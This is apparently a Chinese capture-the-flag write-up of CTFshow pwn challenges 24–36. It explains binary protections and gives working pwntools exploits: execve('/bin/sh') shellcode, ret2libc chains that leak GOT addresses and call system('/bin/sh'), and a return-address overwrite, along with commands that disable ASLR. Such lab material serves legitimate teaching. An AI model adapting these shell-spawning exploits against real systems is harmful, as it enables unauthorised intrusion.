PIE(地址随机化) No PIE (0x8048000) 程序地址固定,ctfshow函数、buf缓冲区地址不会变(无需泄露地址)
RWX segments Has RWX segments 存在 “可读可写可执行” 的内存段,进一步确保 shellcode 能正常执行

总结:程序保护机制极弱,直接用 “栈溢出注入 shellcode” 即可,无需复杂绕过。

回到本题目,在nc连接之后交互一会发现并无实际效果,PWN大致思路是找到后门函数或者系统调用函数进行提权,提权之后就进行交互去执行一些靶机的终端命令例如:cat ctfshow_flag、ls之类的。那在此之前都得先找到这“后门”,也就是/bin/sh、zsh、system函数等等,但我发现这个程序并无这些地址存在,所以说这个程序从被制造出来都没想过要执行这些有关提权的代码…..

全篇搜索/bin/sh字符串

因为NX、canary没开、又有RWX,注入一段我们设计的有关执行/bin/sh的exp还是可以的,大致思路有了,接下来开始执行吧。

围绕 “直接执行 shellcode” 设计方案

可以用pwntools的脚本啊,单纯直接调用函数的,而且pwntools有局限啊,就那用这个pwntools的shellcraft模块生成的shellcode比较晦涩难懂,而且注释放到Kali上比较杂乱,而且没有涉及到汇编语言调用,比较简单我就不用了,我这里手敲shellcode方便大家了解一下底层逻辑:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import * # 导入 pwntools 库
context.log_level = 'debug' # 设置日志级别为调试模式
#io = process('./pwn') # 本地连接
io = remote("pwn.challenge.ctf.show", 28176) # 远程连接
shellcode = asm(
'''
mov eax, 0xb      
mov ecx, 0       
mov edx, 0       
push 0x0068732f  
push 0x6e69622f   
mov ebx, esp    
int 0x80         
''') # 生成一个 Shellcode
io.sendline(shellcode) # 将生成的 Shellcode 发送到目标

io.interactive()

创建一个python文件,输入这些代码放到终端上运行,记得提前打开另外一个窗口进行nc连接远程靶机。

上面其它的python代码没啥可讲的,这是远程交互的模板代码,直接套就好,我现在重在讲解这个手搓的shellcode,它和shellcraft模块产生的shellcode效果一样的,而且还好看懂:

1
2
3
4
5
6
7
8

    mov eax, 0xb      ; syscall号:11对应execve
    mov ecx, 0        ; argv参数为NULL
    mov edx, 0        ; envp参数为NULL
    push 0x0068732f   ; 压栈字符串"/sh\0"(小端序存储)
    push 0x6e69622f   ; 压栈字符串"/bin"(小端序存储)
    mov ebx, esp      ; ebx指向栈顶的"/bin/sh"字符串地址
    int 0x80          ; 触发系统调用

这 7 行代码通过精准设置寄存器和栈数据,完成了execve系统调用的参数准备,最终实现 “用/bin/sh替换当前进程” 的效果,是 CTF 中获取 shell 的基础手段,逻辑清晰且精简(仅 23 字节)。

逐行解析手敲shellcode

思路:注入一段能执行/bin/sh的汇编语言代码

mov eax, 0xb

  • eax寄存器在 32 位 Linux 系统调用中专门用于传递 “系统调用号”(告诉内核要执行哪个系统调用)。
  • 0xb是十六进制,转换为十进制是11,而11正是execve系统调用对应的编号(内核通过这个值识别要执行execve)。

mov ecx, 0

  • ecx寄存器用于传递execve的第二个参数argv(参数列表)。
  • 0(即NULL)表示 “没有参数”,等价于在命令行直接输入/bin/sh(不带任何参数)。

mov edx, 0

  • edx寄存器用于传递execve的第三个参数envp(环境变量列表)。
  • 0(即NULL)表示 “没有环境变量”,内核会使用默认环境变量。

push 0x0068732f

  • push指令将数据压入栈中(栈是向下增长的内存区域)。

  • 1
    
    0x0068732f
    

    是十六进制的 “小端序” 存储(x86 架构默认小端序,即低地址存低位字节),转换为 ASCII 码:

    • 0x2f/
    • 0x73s
    • 0x68h
    • 0x00 → 字符串结束符\0 所以这行实际是往栈上压入字符串"/sh\0"

push 0x6e69622f

  • 同样是压栈操作,0x6e69622f转换为 ASCII 码:

    • 0x2f/
    • 0x62b
    • 0x69i
    • 0x6en 所以这行往栈上压入字符串"/bin"

    结合上一行,栈上现在的内容是"/bin/sh\0"(因为栈先压入"/bin",再压入"/sh\0",栈顶到栈底的顺序就是/b/i/n//s/h/\0)。

mov ebx, esp

  • esp是栈指针寄存器,永远指向当前栈顶的地址。
  • 经过两次push后,栈顶正好是"/bin/sh\0"字符串的起始地址(第一个字符'/'的位置)。
  • 这行指令将栈顶地址存入ebx,而ebx寄存器在execve系统调用中用于传递第一个参数filename(程序路径),所以ebx现在指向我们要执行的"/bin/sh"

int 0x80

  • int是中断指令,0x80是 Linux 系统调用的中断号。
  • 执行这条指令会触发一个软中断,让 CPU 从用户态切换到内核态,内核会根据eax中的系统调用号(11)执行execve,并使用ebxecxedx中的参数。

总之:必须要定义好这几个寄存器,在最底层操作系统运行时都会用到的,这里不详细讲述,反正你知道这几个寄存器一开始就得这么定义就好啦。(不耐烦了)

1
2
3
mov eax, 0xb      
mov ecx, 0       
mov edx, 0        

push压栈时要记得字节限制,因为架构是x32,所以push最多4个字节,也就是push两个:/bin、/sh的地址(不满四个字节如/sh要记得用00填满哦不然会报错)

然后就是记得esp寄存器是动态的…

这是调用pwntools的shellcraft模块的exp:

1
2
3
4
5
6
7
from pwn import *
context.log_level = 'debug'  # 设置日志级别为debug,会输出详细的交互过程
#io = process('./pwn')  # 本地调试时启用,用于启动本地的pwn程序
io = remote("pwn.challenge.ctf.show", 28183)  # 连接远程目标服务,地址为pwn.challenge.ctf.show,端口28183
shellcode = asm(shellcraft.sh())  # 生成一个执行/bin/sh的shellcode
io.sendline(shellcode)  # 将shellcode发送给目标服务
io.interactive()  # 进入交互模式,允许用户与目标服务进行交互(如执行命令)

这是它的shellcode(原版未修改过,直接复制粘贴上来的):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
        /* execve(path='/bin///sh', argv=['sh'], envp=0) */
        /* push b'/bin///sh\x00' */
        push 0x68
        push 0x732f2f2f
        push 0x6e69622f
        mov ebx, esp
        /* push argument array ['sh\x00'] */
        /* push 'sh\x00\x00' */
        push 0x1010101
        xor dword ptr [esp], 0x1016972
        xor ecx, ecx
        push ecx /* null terminate */
        push 4
        pop ecx
        add ecx, esp
        push ecx /* 'sh\x00' */
        mov ecx, esp
        xor edx, edx
        /* call execve() */
        push 11 /* 0xb */
        pop eax
        int 0x80

调用pwntools所产生的shellcode

看着确实比较乱…..😅

最后的最后我想对这题做些评价,其实题不难主要是我初次做,讲得比较啰嗦,如果你会手敲shellcode或者调用pwntools的shellcraft模块的话还是很简单秒掉的。只能怪小生太cai了😄

顺利完成execve系统调用,得以进行交互

大致思路知道就好,靶机的flag是动态变化的。

PWN_025

题目:开启NX保护,或许可以试试ret2libc

PWN_025

根据题目,也就是说具体攻击手法为:ret2libc

ret2libc攻击

ret2libc 是一种在二进制漏洞利用中的经典技术,全称为 “return - to - libc”,中文可理解为 “返回至 libc 库”,常用于绕过栈不可执行(NX,No - eXecute)保护机制。

ret2libc实现步骤

  1. 信息泄漏:通过栈溢出漏洞,结合一些函数(如 write 函数),泄漏出程序中 libc 库函数的真实地址。因为在不同系统中,libc 库加载的基地址是随机的(ASLR 保护机制),但库内函数之间的相对偏移是固定的,所以需要先获取一个已知函数(比如 write )的真实地址,进而计算出其他函数(如 system )的地址。
  2. 计算关键地址:根据泄漏出的 libc 函数地址,计算出 system 函数地址和 /bin/sh 字符串在内存中的地址。由于 libc 中函数和字符串的相对位置固定,所以可以通过已知函数地址与偏移量来计算其他关键地址。
  3. 构造 payload:再次利用栈溢出漏洞,构造合适的 payload。payload 一般包含填充数据(用于填满缓冲区直到覆盖返回地址)、system 函数地址(覆盖返回地址,使程序返回时跳转到 system 函数)、一个无效的返回地址(system 函数执行完后要返回的地址,随便填充一个地址,因为获取到 shell 后通常不会再关注这个返回操作 )、/bin/sh 字符串的地址(作为 system 函数的参数,这样 system 函数执行时就相当于执行了 system("/bin/sh") ,从而打开一个 shell )。
  4. 发送 payload:将构造好的 payload 发送给存在漏洞的程序,使程序按照攻击者期望的流程执行,最终获取到一个交互式 shell,达到漏洞利用的目的。

checksec一下,发现开了NX保护,也就是说不能用shellcode了。

x32

跟进ctfshow函数:

F5反编译查看main代码

可以发现buf大小为 132 字节,但read允许读取 0x100(256)字节存在栈溢出漏洞。

跟进write函数:

IDAx32分析,也没有/bin/sh、后门system:

无/bin/sh路径

这时候就需要使用利用libc(动态链接库)的system函数和/bin/sh字符串(这题思路很类似PWN_024的编写shellcode一样,程序本身没有后门可入只能从外部链接进这些函数,从而达到进入交互…),这些东西在程序运行时的真实地址计算方法为:@got真实地址 = libc基址 + 偏移,所以要先计算出偏移

以write函数为例 ,偏移 = 真实地址 - libc基址,真实地址存在write@got、write@got可以通过write@plt来运行这个函数从而泄露出来,libc 版本和基址可以导入 libcSearcher 库来查找计算这里需要去系统学习一下动态链接的过程(有关.got、.plt表的知识),简单画个图说明一下黄色部分是静态的,绿色部分是动态变化的:

动态链接库的过程

elf.got[‘write’]的作用是获取 write函数真实地址的存储位置,即write@got的地址;

elf.plt[‘write’]的作用是获取 write函数跳板地址的存储位置,即write@plt的地址;

具体思路:

  1. 解析目标程序的 ELF 文件,读取write@plt的地址 、write@got的地址和ctfshow的函数地址。
  2. 以栈溢出漏洞作为入口,跳转到write@plt执行函数泄露write@got的地址,再跳转回ctfshow函数。
  3. 读取泄露出的write@got的地址,用 libcSearcher 库查找正确的 libc 版本,再计算偏移。
  4. 计算system函数和/bin/sh字符串的真实地址。
  5. 继续从ctfshow函数里的栈溢出作为入口,跳转到system函数真实地址,同时将/bin/sh作为参数传入,从而拿到权限。

这里之前我是跳过的,比较难,我做到PWN_044之后才倒回来做的。

PWN044 的利用逻辑是 “先调用 getsbss 段写入 /bin/sh,再调用 system 执行”(类似文档中 PWN044 的 gets 调用场景)。此时调用 gets 仅需其 “函数入口” 即可完成数据写入,无需知道 getslibc 中的真实地址 —— 直接使用 gets 的 PLT 表地址(p32(gets) 本质是 p32(gets_plt)),就能触发 gets 执行,实现写入 /bin/sh 的目标。这就是为什么在PWN_044是直接是p32(gets),而在这调用write函数是要分.got和.plt,因为它俩功能都不同。

write_plt 负责 “触发 write 执行”,write_got 负责 “提供待泄露的真实地址”,二者缺一不可,因此必须明确区分。

总之:ret2libc 核心逻辑:“泄露地址→计算地址→构造调用”

exp备注版:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *  # 导入pwntools库,提供漏洞利用常用功能(如连接、打包等)
from LibcSearcher import *  # 导入LibcSearcher,用于根据泄露的函数地址查找对应libc版本
context.log_level = 'debug'  # 设置日志级别为debug,显示详细的交互过程(方便调试)

# 建立与目标服务的连接(远程服务器地址和端口)
io = remote("pwn.challenge.ctf.show", 28298)

# 加载目标二进制文件,获取符号信息(如函数地址、GOT表地址等)
elf = ELF('./pwn')

# 获取main函数的地址(用于第一次溢出后跳回main函数,进行二次攻击)
main = elf.sym['main']

# 获取write函数的GOT表地址(Global Offset Table,存储函数的真实内存地址)
write_got = elf.got['write']

# 获取write函数的PLT表地址(Procedure Linkage Table,用于间接调用函数)
write_plt = elf.plt['write']

# 构造第一次攻击的payload(栈溢出利用)
# 1. 填充缓冲区到返回地址:0x88是缓冲区大小,0x4是ebp寄存器大小(32位程序)
# 2. 返回地址:覆盖为write@plt(调用write函数输出数据)
# 3. write执行完后跳转的地址:main函数(回到程序开头,方便第二次攻击)
# 4. write函数的参数1:文件描述符0(错误!应为1,stdout标准输出,否则无法正确泄露数据)
# 5. write函数的参数2:要泄露的地址(write@got,存储write的真实内存地址)
# 6. write函数的参数3:泄露的字节数(4字节,32位地址长度)
payload = cyclic(0x88+0x4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)

# 发送第一次payload,触发栈溢出,执行write函数泄露地址
io.sendline(payload)

# 接收泄露的write函数真实地址(4字节,32位),并转换为整数
write = u32(io.recv(4))
print(hex(write))  # 打印泄露的地址(十六进制)

# 使用LibcSearcher根据write函数地址查找对应的libc版本
libc = LibcSearcher('write', write)

# 计算libc的基地址:libc基地址 = 泄露的函数地址 - 该函数在libc中的偏移量
libc_base = write - libc.dump('write')

# 计算system函数的地址:system地址 = libc基地址 + system在libc中的偏移量
system = libc_base + libc.dump('system')

# 计算"/bin/sh"字符串的地址:bin_sh地址 = libc基地址 + 字符串在libc中的偏移量
bin_sh = libc_base + libc.dump('str_bin_sh')

# 构造第二次攻击的payload(获取shell)
# 1. 同样的填充:覆盖缓冲区和ebp
# 2. 返回地址:覆盖为system函数地址(调用system执行命令)
# 3. system执行完后跳转的地址:main函数(可选,不影响shell使用)
# 4. system函数的参数:"/bin/sh"字符串的地址(执行该命令获取交互shell)
payload = cyclic(0x88+0x4) + p32(system) + p32(main) + p32(bin_sh)

# 发送第二次payload,触发栈溢出,执行system("/bin/sh")
io.sendline(payload)

# 进入交互模式,与获取的shell进行交互(输入命令等)
io.interactive()
    

原版exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='i386')
io = remote("pwn.challenge.ctf.show", 28157)
elf = ELF('./pwn')
main = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
payload = cyclic(0x88+4) + p32(write_plt) + p32(main) + p32(0) + p32(write_got) + p32(4)
io.sendline(payload)
write = u32(io.recv(4))
libc = LibcSearcher('write',write)
libc_base = write - libc.dump('write')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = cyclic(0x88+4) + p32(system) + p32(main) + p32(bin_sh)
io.sendline(payload)
io.interactive()

这部分主要涉及到栈溢出的章节知识点,我已经讲解的很详细很啰嗦了,如果看不懂就跳过吧,把栈溢出搞懂后再跳回来做。我当时也是跳过的,之后再回来写wp的。

感觉强度上来了,做得有点吃力。

PWN_026

题目:设置好 ASLR 保护参数值即可获得flag。为确保flag正确,本题建议用提供虚拟机运行。 PWN libc-2.27.so (提取码show)

这题坑到我了,运行程序发现直接爆flag,交上去发现是假的/(ㄒoㄒ)/~~

IDAx64分析,有system后门函数:

而且可以知道这个flag是有几个printf、puts共同打印出的、字符串由地址拼接(%p打印指针或者地址,以16进制形式)而成。

运行一下:

每次flag都不一样,说明地址一直在变化,也就是地址随机化。

在Linux保护机制有讲过ASLR,关于ASLR保护可以看回PWN-1:ASLR(Address Space Layout Randomization)是一种操作系统级别的安全保护机制,旨在增加软件系统的安全性。它通过随机化程序在内存中的布局,使得攻击者难以准确地确定关键代码和数据的位置。

gdb调试一下,题目早给出了2,在这里单纯演示一下;

1
gdb -q pwn

1
shell cat /proc/sys/kernel/randomize_va_space

虽然 checksec 输出中没有直接的 ASLR 开启状态,但可以结合系统层面的设置(通过 cat/proc/sys/kernel/randomize_va_space 查看,输出 0 表示关闭 ASLR,1 表示部分开启,2 表示完全开启 )来判断程序运行时的 ASLR 情况。

既然地址随机化保护,我们就把它关掉(记得提权root):

1
echo 0 > /proc/sys/kernel/randomize_va_space

flag

这里有个点就是我的flag是ctfshow{0x400687_0x400560_0x6032a0_0x7ffff7fbf6b0}

但不知为啥和官方不一样flag:ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}

但我的程序运行了三次,ASRL也关了,flag出来的是一样的,代表地址是真实的,flag没错的。反正大体思路是正确的。

总之记住:/proc/sys/kernel/randomize_va_space

PWN_027

题目:设置好 ASLR 保护参数值即可获得flag。libc-2.27.so PWN

这题也是一样的,”If the result is 0 or 1, then you get the correct flag!“将ASLR保护的数值改成1或0就好。(套上题的公式)

怪怪的:

官方flag是ctfshow{0x400687_0x400560_0x603260}

欸我发现….0x603260的后面的6变成a了,有点招笑…应该是Kali环境和Ubuntu不同,我去网上查了下,发现大部分PWN的WP都是用Ubuntu解的:

Ubuntu

这里的flag就是正常的了。从现在开始我将彻底使用Ubuntu了。

PWN_028

题目:设置好 ASLR 保护参数值即可获得flag;libc-2.27.soPWN (show)

送分

这题送分的,ASLR直接关的,flag还是地址拼出来的,那flag就不变得就是真的了。不信可以多运行几次,你看flag会变吗?

flag is :ctfshow{0x400687_0x400560}

PWN_029

题目:ASLR和PIE开启后;libc-2.27.soPWN

试着ASLR和PIE保护开启后,地址都会将随机化,这里值得注意的是,由于粒度问题,虽然地址都被随机化了,但是被随机化的都仅仅是某个对象的起始地址,而在其内部还是原来的结构,也就是相对偏移是不会变化的。

已经开了PIE保护

1
sysctl -w kernel.randomize_va_space=2  #完全打开ASLR保护

直接运行……

flag(有点长但是对的…):ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}

这题只是让你了解下ASLR和PIE保护的特点,flag不是目的:

1

2

3

PWN_030

题目:关闭PIE后;程序的基地址固定,攻击者可以更容易地确定内存中函数和变量的位置。 PWN_030

checksec一下:没开canary和PIE,开了NX不好用Shellcode。

IDAx32看一下:

栈溢出

buf ,用于存储从标准输入读取的数据。该变量在栈上分配,相对于函数栈帧指针 ebp 的偏移为-0x88 。调用 read 函数从标准输入读取数据。 read 函数的第一个参数是文件描述符,这里使用 0 表示标准输入。第二个参数是指向存储数据的缓冲区的指针,这里是 &buf 。第三个参数是要读取的最大字节数,这里是 0x100u ,即 256 字节,但这char定义buf是132字节,所以存在栈溢出漏洞。

并无找到后门/bin/sh,通过ret2libc,那从栈溢出下手:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

context.log_level = 'debug'  # 设置日志级别为debug,显示详细调试信息
context.arch = 'i386'       # 指定目标程序为32位架构

# 连接远程目标服务器,若本地调试可切换为process
io = remote('pwn.challenge.ctf.show', 28121)
# io = process('./pwn')

# 加载目标程序和对应的libc库
elf = ELF('./pwn')                  # 加载漏洞程序
libc = ELF('/home/ctfshow/libc/32bit/libc-2.27.so')  # 加载对应的libc库

# 获取关键地址
write_plt = elf.sym['write']        # 从程序符号表获取write函数的PLT地址(用于调用)
write_got = elf.got['write']        # 从程序全局偏移表获取write函数的GOT地址(存储真实地址)
ctfshow = elf.sym['ctfshow']        # 获取存在栈溢出的ctfshow函数地址(用于二次溢出)

offset = 140  # 溢出偏移:缓冲区大小 + EBP长度,通过调试确定

# 构造第一个payload:泄漏write函数的真实地址
payload1 = flat(
    b'A' * offset,               # 填充缓冲区直到覆盖返回地址
    p32(write_plt),              # 覆盖返回地址为write@plt,调用write函数
    p32(ctfshow),                # write执行完后跳回ctfshow函数,以便再次接收输入
    p32(1),                      # write函数第1个参数:文件描述符1(标准输出)
    p32(write_got),              # write函数第2个参数:要读取的地址(write的GOT表项)
    p32(4)                       # write函数第3个参数:读取字节数(32位地址占4字节)
)

# 发送第一个payload,触发write函数泄漏地址
io.send(payload1)
# 接收泄漏的write函数真实地址(4字节,32位)
write_addr = u32(io.recv(4))
log.success("write address: %#x" % write_addr)  # 打印获取到的write地址

# 计算libc基地址及关键函数地址
libc_base = write_addr - libc.sym['write']  # libc基地址 = write真实地址 - libc中write的偏移
system_addr = libc_base + libc.sym['system']  # system函数地址 = 基地址 + system在libc中的偏移
# /bin/sh字符串地址 = 基地址 + /bin/sh在libc中的偏移
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

# 打印计算得到的关键地址(调试用)
log.success("libc base: %#x" % libc_base)
log.success("system address: %#x" % system_addr)
log.success("/bin/sh address: %#x" % binsh_addr)

# 构造第二个payload:调用system("/bin/sh")获取shell
payload2 = flat(
    b'B' * offset,               # 再次填充缓冲区到返回地址
    p32(system_addr),            # 覆盖返回地址为system函数地址
    p32(0xdeadbeef),             # system执行后的返回地址(随意填充,不影响功能)
    p32(binsh_addr)              # system函数的参数:/bin/sh字符串地址
)

# 发送第二个payload,触发system调用
io.send(payload2)

# 进入交互模式,与获取到的shell进行交互
io.interactive()

无备注代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
write_got = elf.got['write']

ctfshow = elf.sym['ctfshow']

offset = 140

payload1 = flat(
    b'A' * offset,
    p32(write_plt),
    p32(ctfshow),
    p32(1),
    p32(write_got),
    p32(4)
)

io.send(payload1)
write_addr = u32(io.recv(4))
log.success("write address: %#x" % write_addr)

libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.success("libc base: %#x" % libc_base)
log.success("system address: %#x" % system_addr)
log.success("/bin/sh address: %#x" % binsh_addr)

payload2 = flat(
    b'B' * offset,
    p32(system_addr),
    p32(0xdeadbeef),
    p32(binsh_addr)
)

io.send(payload2)

io.interactive()

需要注意的点:

1
2
3
4
# 获取关键地址
write_plt = elf.sym['write']        # 从程序符号表获取write函数的PLT地址(用于调用)
write_got = elf.got['write']        # 从程序全局偏移表获取write函数的GOT地址(存储真实地址)
ctfshow = elf.sym['ctfshow']        # 获取存在栈溢出的ctfshow函数地址(用于二次溢出)

这里的地址是可以手写的,但我不建议,AI给的是确切地址,这里我给改了,下次AI写脚本,地址一定不要手动硬写出来,帮AI改一下改成自动获取的,比如上面这样,系统会自动获取地址的,这样比较准确不会出错崩溃。

说实话,给我肯定写不到的,不熟悉编写python远程交互脚本,但我可以读懂,我可以用AI帮我写代码,我就把意愿告诉它,把IDA汇编代码以及跟进的函数复制发给它,附上我的思路,不如已经知道是利用栈溢出漏洞编写ret2libc、知道开启了哪些保护、一步步修改得到的。

PWN_031(待定)

题目:开启 ASLR 和 PIE 的情况下,仍可能被利用; PWN_031

checksec一下,无栈保护:

栈溢出

跟进ctfshow函数:

发现同样的代码,有溢出,似乎可用上题的exp,不过checksec看到的保护是不一样的,exp肯定不一样了….

运行之后莫名其妙,会有报随机化的地址:

…..深入分析CTFshow-PWN入门-pwn31的解法与原理 - Claire_cat - 博客园

这题和PWN_025差不多,有关栈溢出的知识点,这里先跳…

FORTIFY缓冲区边界检查

FORTIFY_SOURCE 是 GCC 提供的一种轻量级缓冲区溢出保护机制,通过对危险函数(如 strcpymemcpy 等)进行增强检查,降低缓冲区溢出漏洞的利用风险。它有 3 个级别:_FORTIFY_SOURCE=0(关闭)、_FORTIFY_SOURCE=1(基础保护)、_FORTIFY_SOURCE=2(强化保护),各级别区别如下:

级别 启用条件 核心检查逻辑 防护范围 性能影响
0 默认(无需定义宏) 无任何检查,使用原始函数
1 -D_FORTIFY_SOURCE=1 -O1 检查 “源长度 < 目标缓冲区长度”(仅限编译期可知) 部分静态场景 极小
2 -D_FORTIFY_SOURCE=2 -O2 检查 “操作长度 ≤ 目标缓冲区实际大小”(含运行时) 静态 + 动态场景,覆盖更多函数 轻微
  • FORTIFY_SOURCE 仅能防护部分已知的危险函数,无法替代 NXStack Canary 等更全面的保护机制。
  • 必须配合优化选项(-O1/-O2)才能生效,否则编译器会忽略该宏定义。
  • 对于动态分配的内存(如 malloc 分配的缓冲区),FORTIFY_SOURCE 无法获取其大小,因此无法防护相关操作(如 memcpy(malloc_buf, src, n))。

PWN_032

题目:FORTIFY_SOURCE=0:

禁用 Fortify 功能。 不会进行任何额外的安全检查。 可能导致潜在的安全漏洞。

这题主要是在函数逻辑运行,知道运行的原理就好。

IDA分析main:

main

跟进undefined函数:

可以看到,关键在于成功进入到undefined函数才有机会下一步获得flag:

从main函数出发:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__fastcall main(int argc, const char **argv, const char **envp)
{
  __gid_t v3; // eax
  const char *v4; // rax
  int v5; // eax
  int num; // [rsp+4h] [rbp-44h] BYREF
  char buf2[11]; // [rsp+Ah] [rbp-3Eh] BYREF
  char buf1[11]; // [rsp+15h] [rbp-33h] BYREF

  v3 = getegid();
  setresgid(v3, v3, v3);
  logo();  
  v4 = argv[1];
  *(_QWORD *)buf1 = *(_QWORD *)v4;//指针
  *(_WORD *)&buf1[8] = *((_WORD *)v4 + 4);//指针
  buf1[10] = v4[10];
  strcpy(buf2, "CTFshowPWN");
  printf("%s %s\n", buf1, buf2);
  v5 = strtol(argv[3], 0LL, 10);
  memcpy(buf1, argv[2], v5);
  strcpy(buf2, argv[1]);
  printf("%s %s\n", buf1, buf2);
  fgets(buf1, 11, _bss_start);
  printf(buf1, &num);
  if ( argc > 4 )
    Undefined();
  return 0;
}

大致是:起初先打印ctfshow的logo信息(其实一开始那个v3把我搞懵了,其实对解题过程没啥帮助的),在最顶端的__fastcall main已经把一些参数给定义了比如argv数组,第一个参数argv[1]被赋给v4,v4作中介把数值传递给了buf1,之后程序将v4[10]数组内容赋值给buf1[10],接着通过strcpy函数,把字符串“CTFshowPWN”复制/赋值给buf2,printf打印buf1、buf2的当前的字符串内容,最后fget读取_bss_start的11个字符给buf1,打印buf1和num的信息,最后通过if判断argc是否大于4(默认情况下argc是等于1的,因为argv[0]必定存在,我们输入一个参数,argc就会等于2,依次递推),大于4就进入undefined函数内

因为本题目FORTIFY_SOURCE没有开启,代表我们启动函数直接输入4个参数(这时argc=5 > 4,为什么五个?因为你输入的4个+argc[0] = 5)就行了,而且这4个参数没有长度限制,如果开启FORTIFY_SOURCE就不好说了,因为开启了之后,由于程序存在strcpy和memcpy函数会检测长度,如果长度超过了限制,可能会使程序抛出异常而退出执行。

PWN_033

题目:FORTIFY_SOURCE=1:

启用 Fortify 功能的基本级别。 在编译时进行一些安全检查,如缓冲区边界检查、格式化字符串检查等。 在运行时进行某些检查,如检测函数返回值和大小的一致性。 如果检测到潜在的安全问题,会触发运行时错误,并终止程序执行。 PWN_033


IDAx64分析:

FORTIFY_SOURCE被打开了,代码和PWN_032几乎一样的,memcpy和strcpy这两个函数被替换成了__mencpy_chk和__strcpy__chk安全函数,可以看到这两个函数相比前两个函数只是加上了11LL这个参数加以限制,因为buf1和buf2在声明的时候的长度就是11,所以程序为了防止溢出,使用后两个函数加上这两个数组的长度加以限制以防溢出。

但这不妨碍我们拿flag啊,只要运行./pwnme时输入的字符总长度不超过11就好:

1
2
# argv[1] 长度≤10,argv[3] ≤11,总参数≥5 
$./pwnme "short" "a" "5" "d" "e"

PWN_034

题目:FORTIFY_SOURCE=2:

启用 Fortify 功能的高级级别。 包括基本级别的安全检查,并添加了更多的检查。 在编译时进行更严格的检查,如更精确的缓冲区边界检查。 提供更丰富的编译器警告和错误信息。


IDA分析,题目描述也说了该程序包括基本级别的安全检查,并添加了更多的检查。 在编译时进行更严格的检查,如更精确的缓冲区边界检查。 提供更丰富的编译器警告和错误信息。 使用ida64反编译的加过略微与前两道题目有所不同,大部分还是一样的,还是把危险函数替换成了安全函数。如下:

大致能看出原函数是什么吧,这里就不多解释了…

# 格式化函数与解题操作说明 __printf__chk 函数与 printf 的区别在于:不能使用 %x$n 不连续地打印,也就是说如果要使用 %3$n,则必须同时使用 %1$n%2$n。在使用 %n 的时候会做一些检查。 这涉及到格式化字符串漏洞,但本题不涉及此漏洞,所以对本道题几乎没有阻碍。后续我们还是通过 SSH 连接后运行文件,输入 4 个长度为 1 的参数,不出意外就能拿到 flag!

栈溢出

PWN_035

题目:正式开始栈溢出了,先来一个最最最最简单的吧

用户名为 ctfshow 密码 为 123456 请使用 ssh软件连接

1
ssh ctfshow@题目地址 -p题目端口号

**不是nc连接 **

专用虚拟机镜像,全套在这里,提取码show

PWN_035


checksec一下:

没开canary保护,对应了本章主题——栈溢出。

IDA分析:

main函数反编译分析

跟进函数:

sigsegv_handler函数

ctfshow函数

由此可知:ctfshow函数存在栈溢出漏洞,超过104字节就会发生栈溢出;

对于SIGSEGV函数,当栈溢出触发 SIGSEGV 时,sigsegv_handler 函数会被调用,然后触发函数内部——fprintf打印出flag字符串,也正好对应了fget函数读取的flag值。

栈溢出会破坏栈上的 “返回地址”“栈帧信息” 或其他关键内存结构,最终引发非法内存访问(比如函数返回时跳转到无效地址),触发 SIGSEGV 信号。

所以说我们只要在运行的时候给程序打入超过104个的字符串就好,可以是105个“a”。

/bin/sh地址的跳转利用

相较于32位程序,64 位程序调用函数需满足 栈对齐,因此构造 payload 时需注意:

在实际解题中,ret 地址需要针对当前题目动态获取,用 ROPgadget 工具直接搜索程序中的 ret 指令(最常用):

1
ROPgadget --binary ./pwn | grep ret

PWN_036

题目:存在后门函数,如何利用? PWN_036

非常不安全!!!!没有canary保护。可以用ret2shellcode、ret2libc。

main-IDA的分析

这题开始怪怪的,找不到/bin/sh的后门,sigsegv_handler 函数没有我们想要的flag,不过在左边函数目录看到熟悉的故人——get_flag函数,直接跟进看看:

跟进get_flag函数

可以看到下面的fgets读取和返回的printf(s)打印函数,输出flag字符串,主函数没有引用它啊,怎么办?我们只需要利用栈溢出漏洞覆盖返回地址,将程序的执行流程转向 get_flag 函数,从而获取flag。(可以用ret2shellcode、ret2libc)

main函数的突破点在这:

在main跟进ctfshow函数

没开canary保护,s数组可存储大小范围是36,超过了就覆盖返回地址了。

gets 读取函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。

安全性来看一般都会用fgets函数,搭配FORTIFY 缓冲区边界检查来提高程序自身安全性。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show', 28297)

elf = ELF('./pwn')
get_flag_addr = elf.sym['get_flag']

payload ='A' * 44 + p32(get_flag_addr)

io.sendline(payload) #远程发送
io.interactive()     #开启shell交互模式(类似终端)

